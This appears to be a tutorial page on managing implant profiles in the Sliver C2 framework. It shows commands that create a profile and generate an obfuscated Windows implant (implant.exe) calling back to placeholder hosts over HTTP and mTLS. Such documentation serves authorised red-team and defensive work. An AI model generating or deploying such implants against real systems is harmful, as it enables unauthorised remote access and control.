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🕷️ Profiles ​

Profiles in Sliver (C2) are configurations that store predefined settings for generating implants. These profiles streamline the process of creating implants by allowing you to save and reuse configurations, ensuring consistency across multiple instances.

📚 What are Profiles ? ​

Profiles in Sliver serve as templates that encapsulate all the necessary settings and parameters required to generate an implant. By saving these configurations as profiles, you can quickly generate multiple implants with identical settings without having to specify each parameter every time. This is particularly useful in complex operations where consistency and efficiency are crucial.

🔧 Setting Up Profiles ​

To manage profiles in Sliver, you can use the profiles command, which includes subcommands for creating, listing, generating, and removing profiles.

  1. List Existing Profiles :

To list all existing profiles, use the command :

bash
profiles
  1. Create a New Profile :

To create a new profile, use the profiles new command followed by the desired settings and profile name.

bash
profiles new --arch amd64 --os windows --http http://10.10.10.10:9000 --mtls example-mtls.com customProfile
bash
[server] sliver > profiles

 Profile Name    Implant Type   Platform        Command & Control                  Debug   Format       Obfuscation   Limitations
=============== ============== =============== ================================== ======= ============ ============= =============
 customProfile   session        windows/amd64   [1] mtls://example-mtls.com:8888   false   EXECUTABLE   enabled
                                                [2] http://10.10.10.10:9000
  1. Generate an Implant from a Profile :

Once you have created a profile, you can generate an implant using the profiles generate command :

bash
profiles generate --save ./implant.exe customProfile
bash
[server] sliver > implants

 Name                 Implant Type   Template   OS/Arch             Format   Command & Control                  Debug
==================== ============== ========== =============== ============ ================================== =======
 ONLY_NONCONFORMIST   session        sliver     windows/amd64   EXECUTABLE   [1] mtls://example-mtls.com:8888   false
                                                                             [2] http://10.10.10.10:9000
  1. Remove a Profile :

If you no longer need a profile, you can remove it using the profiles rm command :

bash
profiles rm customProfile